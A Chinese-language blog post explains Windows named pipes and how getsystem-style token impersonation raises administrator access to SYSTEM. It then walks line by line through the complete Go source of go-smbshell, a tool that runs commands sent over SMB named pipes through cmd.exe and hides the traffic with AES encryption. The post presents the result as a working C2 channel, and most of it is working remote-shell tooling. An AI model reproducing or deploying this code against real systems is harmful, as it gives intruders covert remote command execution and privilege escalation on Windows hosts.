使用命名管道通讯的命令执行工具

管道简述

管道并不是什么新鲜事物,它是一项古老的技术,可以在很多操作系统(Unix、Linux、Windows 等)中找到,其本质是是用于进程间通信的共享内存区域,确切的的说应该是线程间的通信方法(IPC)。
顾名思义,管道是一个有两端的对象。一个进程向管道写入信息,而另外一个进程从管道读取信息。进程可以从这个对象的一个端口写数据,从另一个端口读数据。创建管道的进程称为管道服务器(Pipe Server),而连接到这个管道的进程称为管道客户端(Pipe Client)。
在 Windows 系统中,存在两种类型的管道: “匿名管道”(Anonymous pipes)和“命名管道”(Named pipes)。匿名管道是基于字符和半双工的(即单向);命名管道则强大的多,它是面向消息和全双工的,同时还允许网络通信,用于创建客户端/服务器系统。

这两种管道的主要区别:

命名管道:可用于网络通信;可通过名称引用;支持多客户端连接;支持双向通信;支持异步重叠 I/O 。

匿名管道:单向通信,只能本地使用。由于匿名管道单向通信,且只能在本地使用的特性,一般用于程序输入输出的重定向,如一些后门程序获取 cmd 内容等等,在实际攻击过程中利用不过,因此就不过多展开讨论,有兴趣可以自行检索相关信息。

命名管道

定义与特点命名管道是一个具有名称,可在同一台计算机的不同进程之间或在跨越一个网络的不同计算机的不同进程之间,支持可靠的、单向或双向的数据通信管道。

命名管道的所有实例拥有相同的名称,但是每个实例都有其自己的缓冲区和句柄,用来为不同客户端提供独立的管道。
任何进程都可以访问命名管道,并接受安全权限的检查,通过命名管道使相关的或不相关的进程之间的通讯变得异常简单。
用命名管道来设计跨计算机应用程序实际非常简单,并不需要事先深入掌握底层网络传送协议(如 TCP、UDP、IP、IPX)的知识。这是由于命名管道利用了微软网络提供者(MSNP)重定向器通过同一个网络在各进程间建立通信,这样一来,应用程序便不必关心网络协议的细节。

任何进程都可以成为服务端和客户端双重角色,这使得点对点双向通讯成为可能。在这里,管道服务端进程指的是创建命名管道的一端,而管道客户端指的是连接到命名管道某个实例的一端。

总结一下:

1.命名管道的名称在本系统中是唯一的。

2.命名管道可以被任意符合权限要求的进程访问。

3.命名管道只能在本地创建。

4.命名管道是双向的,所以两个进程可以通过同一管道进行交互。

5.多个独立的管道实例可以用一个名称来命名。例如几个客户端可以使用名称相同的管道与同一个服务器进行并发通信。

6.命名管道的客户端可以是本地进程(本地访问:\.pipePipeName)或者是远程进程(访问远程: \ServerName\pipePipeName)。

7.命名管道使用比匿名管道灵活,服务端、客户端可以是任意进程,匿名管道一般情况下用于父子进程通讯。

查看管道列表

在 windows 系统中,列出管道列表的方法有很多。这里列举几种常见的查看方式。

powershell

使用 powershell 列出管道列表需要区分版本,V3 以下版本的 powershell 只能使用:

[System.IO.Directory]::GetFiles('\\.\\pipe\\')

V3 及以上版本的 powershell 还可以使用:

Get-ChildItem \\.\pipe\

chrome
使用 chrome 查看管道列表,只需在地址栏输入,注:部分系统可能不支持 chrome 查看管道列表

file://.//pipe//

其他工具

可以使用Process Explorer的Find-Find Handle or DLL功能查找名为DeviceNamedPipe

或者还可以使用 Sysinternals 工具包中的 pipelist.exe 等工具。

在windows 中命名管道的通信方式是:

1.创建命名管道 --> 2.连接命名管道 --> 3.读写命名管道

创建

管道服务器无法在另一台计算机上创建管道,因此 CreateNamedPipe 必须使用句点.作为服务器名称,如以下示例所示。

\\.\pipe\PipeName

管道名称字符串可以包含反斜杠以外的任何字符,包括数字和特殊字符。整个管道名称字符串最多可以包含 256 个字符。管道名称不区分大小写。
服务端的整个创建过程如下:

(一)服务端进程调用 CreateNamedPipe 函数来创建一个有名称的命名管道,在创建命名管道的时候必须指定一个命名管道名称(pipe name)。
因为 Windows 允许同一个本地的命名管道名称有多个命名管道实例,所以,服务器进程在调用 CreateNamedPipe 函数时必须指定最大允许的实例数(0 -255),如果 CreateNamedPipe 函数成功返回后,服务器进程得到一个指向一个命名管道实例的句柄。
(二)然后,服务器进程就可以调用 ConnectNamedPipe 来等待客户的连接请求,这个 ConnectNamedPipe 既支持同步形式,又支持异步形式,若服务器进程以同步形式调用 ConnectNamedPipe 函数,(同步方式也就是如果没有得到客户端的连接请求,则会一直等到有客户端的连接请求)那么,当该函数返回时,客户端与服务器之间的命名管道连接也就已经建立起来了。
(三)在已经建立了连接的命名管道实例中,服务端进程就会得到一个指向该管道实例的句柄,这个句柄称之为服务端句柄。

管道的访问方式相当于指定管道服务端句柄的读写访问,下表列出了可以使用 CreateNamedPipe 指定的每种访问方式的等效常规访问权限:

如果管道服务器使用 PIPE_ACCESS_INBOUND 创建管道,则该管道对于管道服务器是只读的,对于管道客户端是只写的。
如果管道服务器使用 PIPE_ACCESS_OUTBOUND 创建管道,则该管道对于管道服务器是只写的,对于管道客户端是只读的。
用 PIPE_ACCESS_DUPLEX 创建的管道对于管道服务器和管道客户端都是可以读/写的。
同时,管道客户端使用 CreateFile 函数连接到命名管道时必须在 dwDesiredAccess 参数中指定一个和管道服务端(创建管道时指定的访问模式)相兼容的访问模式。
例如,当管道服务端创建管道时指定了 PIPE_ACCESS_OUTBOUND 访问模式,那么,管道客户端就必须指定 GENERIC_READ 访问模式。
更多内容内容可以参考,微软官方说明:

https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-open-modes

模拟令牌

命名管道还有一种常用的操作,就是通过模拟令牌,达到提权的目的。大家都用过msf里面的getsystem命令,其中就有一个模块支持通过模拟令牌从本地管理员权限提升到system权限。

我们首先需要了解如何模拟另一个用户。模拟是Windows提供的一种方法,在该方法中,进程可以模拟另一个用户的安全内容。例如,如果FTP服务器的进程允许用户进行身份验证,并且只希望允许访问特定用户拥有的文件,则该进程可以模拟该用户帐户并允许Windows强制实施。
Windows提供了这样的API,ImpersonateNamedPipeClient API调用是getsystem模块功能的关键。
ImpersonateNamedPipeClient允许命名管道模拟客户端的服务器端。调用此函数时,命名管道文件系统会更改调用进程的线程,以开始模拟从管道读取的最后一条消息的安全内容。只有管道的服务器端可以调用此函数。
例如,如果属于“受害者”的进程连接并写入属于“攻击者”的命名管道,则攻击者可以调用ImpersonateNamedPipeClient模拟“受害者”的令牌,从而模拟该用户。进程必须拥有SeImpersonatePrivilege特权(身份验证后模拟客户端)。默认情况下,此特权仅对许多高特权用户可用

getsystem工作方式:

1.首先getsystem会创建一个新的windows服务,并以local system权限运行,在启动时连接到命名管道。

2.getsystem再产生一个进程,该进程创建一个命名管道并等待服务的连接。

3.Windows服务启动并连接到产生的进程的命名管道。

4.进程接收连接,并调用ImpersonateNamedPipeClient,通过模拟令牌获取system权限。

Go实现命名管道流量通信源码学习

这个项目是通过命名管道来进行流量传输,并且是通过AES来对流量加密。

https://github.com/neox41/go-smbshell

目录结构如下:

- agent    - agent.go   #定义了两个方法,一个是Connect用来连接服务器                    Command用来连接成功之后进行命令执行。- cmd    - client        - main.go  # 客户端入口    - server        - main.go  # 服务端入口- config    - config.go  # 定义了aes加密的key 和 PipeName- exec     - command.go  # 用来执行命令,调用os/exec来执行系统命令- listener     - smb.go   # 实现了服务端进行命名管道监听- transport     - communication.go # 实现了AES加密,传入msg和key即可- vendor    - github.com        - mervick            - aes-everywhere    - gopkg.in        - natefinch            - npip.v2    #这个是实现了pipe通讯的包

首先看config里面的config.go,这个比较简单,也就是定了PipeName和AES加密的Key

package config

// 定义PipeName 为 gopipeconst ( PipeName = 'gopipe')



//这个是定义aes的keyvar ( Key string)

transport 包里面的communication.go,这个是对传送的消息进行AES256加密,这里调用了github里面aes-everywhere的这个包,用法如下。对于Go原生的AES加密,这个只要传入明文密文加Key即可对其加解密。

https://github.com/mervick/aes-everywhereimport 'github.com/mervick/aes-everywhere/go/aes256'// encryptionencrypted := aes256.Encrypt('TEXT', 'PASSWORD')// decryptiondecrypted := aes256.Decrypt(encrypted, 'PASSWORD')

communication.go里面的实现就是调用config并且把config.Key作为Key传入到Decoder/Encoder进行加解密。

package transport

import ( 'go-smbshell/config'

'github.com/mervick/aes-everywhere/go/aes256')

// 对传输的流量进行AES加密,这个方法是调用aes-everywhere来调用 aes256 加密,传入message和key即可func Decoder(encodedMessage string) (cleartextMessage string) { cleartextMessage = aes256.Decrypt(encodedMessage, config.Key) return}

func Encoder(cleartextMessage string) (encodedMessage string) { encodedMessage = aes256.Encrypt(cleartextMessage, config.Key) return}

exec包里面的 command.go 实现了Shell方法,调用os/exec来执行命令并且输出出来。

package execimport (   'os/exec')// 定义 Shell执行命令,连接成功之后就可以调用这个方法来执行命令func Shell(args string) string {   cmd := exec.Command('cmd.exe', '/c', args)   out, err := cmd.CombinedOutput()   if err != nil {      return err.Error()   }   return string(out)}

listener 包 里面的 smb.go 实现了服务端进行命名管道监听和对连接来的客户端进行处理,并且需要。这里实现命名管道通讯是调用了npipe,github地址如下。

https://github.com/natefinch/npipe

在官方文档的例子中,有写出建立监听的代码。和网络编程差不多,这里就是监听本地,并且带上PipeName即可,本地进程(本地访问:\.pipePipeName)。

npipe.Listen(`\\.\pipe\mypipename`)

监听功能创建服务器:

ln, err := npipe.Listen(`\\.\pipe\mypipename`)if err != nil { // handle error}for { conn, err := ln.Accept() if err != nil { // handle error continue } go handleConnection(conn)}

源代码如下,本质上和网络编程的服务器方的代码编写差不多。

package listenerimport (   'bufio'   'fmt'   'log'   'net'   'strings'   'go-smbshell/config'   'go-smbshell/exec'   'go-smbshell/transport'   'gopkg.in/natefinch/npipe.v2')//开始监听pipe,这里只要加入PipeName即可,接下来的操作就和网络编程差不多了func Start() error {   ln, err := npipe.Listen(fmt.Sprintf('\\\\.\\pipe\\%s', config.PipeName))   if err != nil {      return err   }   for {      log.Println('Wait for client...')      //使用pipe的Listen来进行监听并且等待客户端连接      conn, err := ln.Accept()      //如果连接不成功的话就会continue等待下一个连接      if err != nil {         log.Println(err.Error())         continue      }      defer ln.Close()      log.Println('Agent connected')      //连接成功之后就go一个匿名的协程来对客户端的反馈进行操作      go func() {         defer conn.Close()         for {            r := bufio.NewReader(conn)            commandE, err := r.ReadString('\n')            if err != nil {               continue            }            //介绍到客户端的请求数据并且对其进行解密            command := transport.Decoder(commandE)            log.Println(fmt.Sprintf('Asked to run: %s', command))            //如果命令是close的话就会推出程序            if command == 'close' {               break            }            //TrimSpace函数删除了Unicode定义的所有前和尾空格            command = strings.TrimSpace(command)            //对客户端返回回来的命令进行解密和处理之后在go一个协程来对其命令进行执行操作。            go func(conn net.Conn) {               output := exec.Shell(command)               //对服务器返回的命令执行结果进行加密,在放到conn里面进行发送               if _, err := fmt.Fprintln(conn, transport.Encoder(fmt.Sprintf('Output for %s:\n%s', command, output))); err != nil {                  log.Println(err.Error())               }            }(conn)         }      }()   }   return nil}

需要注意的是npipe.v2 包作者已经给出了相关的导入方法,所以这里的包分子是需要按照作者给出的gopkg.in/natefinch/npipe.v2 来进行创建在导入

agent包里面的agent.go,这个包是对客户的操作的实现。这个包的代码里面需要有调用npipe.Dial()方法。该方法是连接Pipe管道即远程进程(访问远程:\ServerName\pipePipeName)

npipe.Dial(fmt.Sprintf('\\\\%s\\pipe\\%s', target, config.PipeName))

当连接到了Pipe命名管道之后就会调用Command()方法来发送命令和获取命令。

package agentimport (   'bufio'   'fmt'   'go-smbshell/config'   'go-smbshell/transport'   'net'   'gopkg.in/natefinch/npipe.v2')var (   Conn     net.Conn   PipeName string   Target   string)//使用 npipe 来进行连接通讯,流量都包裹在smb流量中,并且进行aes256加密func Connect(target string) error {   var err error   // 连接方法就是 \\\\target\\pipe\\config.PipeName   // 例如\\\\192.168.1.110\\pipe\\config.PipeName,这个就是里面smb流量连接192.168.1.110   Conn, err = npipe.Dial(fmt.Sprintf('\\\\%s\\pipe\\%s', target, config.PipeName))   if err != nil {      return err   }   PipeName, Target = config.PipeName, target   return nil}func Command(command string) {   //利用Fprintln将加密之后的command放入到Conn中   if _, err := fmt.Fprintln(Conn, transport.Encoder(command)); err != nil {      fmt.Println(err.Error())      return   }   //从连接中获取数据,并且放入到output中。由于output是进行加密的,然后在进行解密即可。   r := bufio.NewReader(Conn)   output, err := r.ReadString('\n')   if err != nil {      fmt.Println(err.Error())      return   }   fmt.Println(transport.Decoder(output))}

cmd包里面有server和client,这两个即使服务端和客户端了。下面就是客户端的源代码。首先需要在命令行传入两个参数,一个是连接的IP,一个就是AES加密的Key。接着在调用agent.Connect()方法来连接命名管道。

下面的这一行代码就是从os.Stdin 也就是终端输入中获取需要执行的命令。

reader := bufio.NewReader(os.Stdin)

接着下面的代码就是挺简单的了,拿到终端输入的需要执行的命令之后进行for循环,需要用户来循环操作进入一个交互式的模式,最后调用agent.Command()方法,该方法实现了发送和回显执行命令的结果。

package mainimport (   'bufio'   'fmt'   'log'   'os'   'strings'   'go-smbshell/agent'   'go-smbshell/config')func main() {   if len(os.Args) < 3 {      fmt.Println(fmt.Sprintf('Usage: %s', os.Args[0]))      os.Exit(1)   }   target := os.Args[1]   config.Key = os.Args[2]   if err := agent.Connect(os.Args[1]); err != nil {      log.Panic(err)   }   log.Println(fmt.Sprintf('Connected to %s', target))   reader := bufio.NewReader(os.Stdin)   for {      fmt.Print('cmd >> ')      userInput, _ := reader.ReadString('\n')      userInput = strings.TrimSpace(strings.Replace(userInput, '\n', '', -1))      if len(userInput) <= 1 {         continue      }      if userInput == 'exit' {         os.Exit(1)      }      agent.Command(userInput)   }}

server包里面实现的就比较简单了,调用 listener.Start(),因为已经实现了监听和处理客户端请求了。只需要传入对于的AES加密的Key即可。

package main

import ( 'fmt' 'log' 'os'

'go-smbshell/config' 'go-smbshell/listener')

func main() { if len(os.Args) < 2 { fmt.Println(fmt.Sprintf('Usage: %s', os.Args[0])) os.Exit(1) } config.Key = os.Args[1] log.Println('Starting the listener...') if err := listener.Start(); err != nil { log.Panic(err) }}

这样就已经实现完成了利用命名管道进行通讯的C/S架构的C2控制了。

不显示中文的话只需要切换重点的编码即可,输入chcp65001即可显示中文。

使用Wireshark来进行抓包可以查看到,他的流量其实走的都是SMB协议,并且他对里面执行的内容进行了AES加密。可以看到下图,这里有连接到命名管道,并且显示了连接的PipeName,这个在config.go里面定义为了gopipe

(0)

相关推荐

  • go工具方法-elasticsearch

    package es import ( "context" "fmt" "github.com/olivere/elastic" " ...

  • linux各种通讯机制汇总

    eventfd -- 创建一个文件描述符fd,用于支持事件等待通知机制 ,  功能上类似于信号量. 使用场景:当使用pipe仅用于等待/通知功能时,可以使用eventfd替换,代价低,只需要一个文件描 ...

  • Go实现海量日志收集系统(二)

    51Reboot 将在 2020.1.16日 21:00 为您带来分享主题<大佬教你如何从 ES 初学者到 ES专家>直播链接(提前报名):https://ke.qq.com/course ...

  • 微服务实践之分布式定时任务

    承接上篇:上篇文章讲到改造 go-zero 生成的 app module 中的 gateway & RPC .本篇讲讲如何接入 异步任务 以及 log的使用. Delay Job 日常任务开放 ...

  • 录制命令行工具--asciinema

    表白:黑白圣堂血天使,天剑鬼刀阿修罗.  讲解对象:/录制命令行工具--asciinema 作者:融水公子 rsgz 命令行大全 命令行大全 http://www.rsgz.top/post/778. ...

  • PS颜色调整教程,色彩调整命令黑白工具精讲

    我们在进行平面设计,或摄影等工作的过程中,经常会根据需要将彩色图像元素转换为黑白的. 把彩色图像去掉颜色使之变成黑白效果,在PS中,提供了3个工具供我们选择操作. 第一个是色相/饱和度工具,在前面的文 ...

  • python笔记42-http请求命令行工具(httpie)

    前言 通常我们需要快速的测试某个接口通不通,一般linux上用curl去发http请求,但是这个命令行工具语法有点复杂了,不够直观. python有一个给人类使用的requests库,非常的简单方便. ...

  • PS常用修图命令与工具速览

    调整影调和颜色的工具 色阶.曲线等可调整图像的影调和颜色,曲线是最强大的调整工具 色相/饱和度.色彩平衡及自然饱和度等常用于调整颜色 亮度/对比度.曝光度.阴影/高光和HDR色调等常用于调整影调 匹配 ...

  • 牛逼的终端命令行工具,助你成为 10 倍程序员 !

    大家好,我是小猿. 终端是程序员的必备工具之一,10 倍程序员的终端跟普通程序员有何不同?本文将介绍许多牛逼且实用的开源工具,用上这些工具后你不一定会变成 10 倍程序员,但绝对能够让你感觉自己像个 ...

  • 使用 SAP UI5 CLI 命令行工具构建和运行 SAP UI5 应用

    源代码 Github 地址:https://github.com/wangzixi-diablo/ui5-for-kyma 本地路径:C:\Code\frontend-ui5-mssql 本文介绍 S ...

  • 命令执行写webshell总结

    前言 当我们找到一个rce漏洞却无法反弹shell时,在web路径写webshell用连接工具进行管理会方便的多,本文总结从命令执行到webshell的流程化操作. 寻找web路径 写webshell ...

  • Fluentd 命令行工具 fluent-cat 介绍

    "一个用于测试插件的命令行工具" fluent-cat 是 Fluentd 提供的一个命令行工具,特别适合于对插件功能的验证性测试. 它主要和 in_forward / in_un ...

  • iTerm--比Terminal(终端)更好用的命令行工具

    Terminal是Mac自带的命令行工具,对于开发者来说,是不得不使用的开发工具之一.然而Terminal的外观设置功能比较少,这对于每天都得跟它相处很久的我们来说,这是一个很大的悲伤.当然,你也可以 ...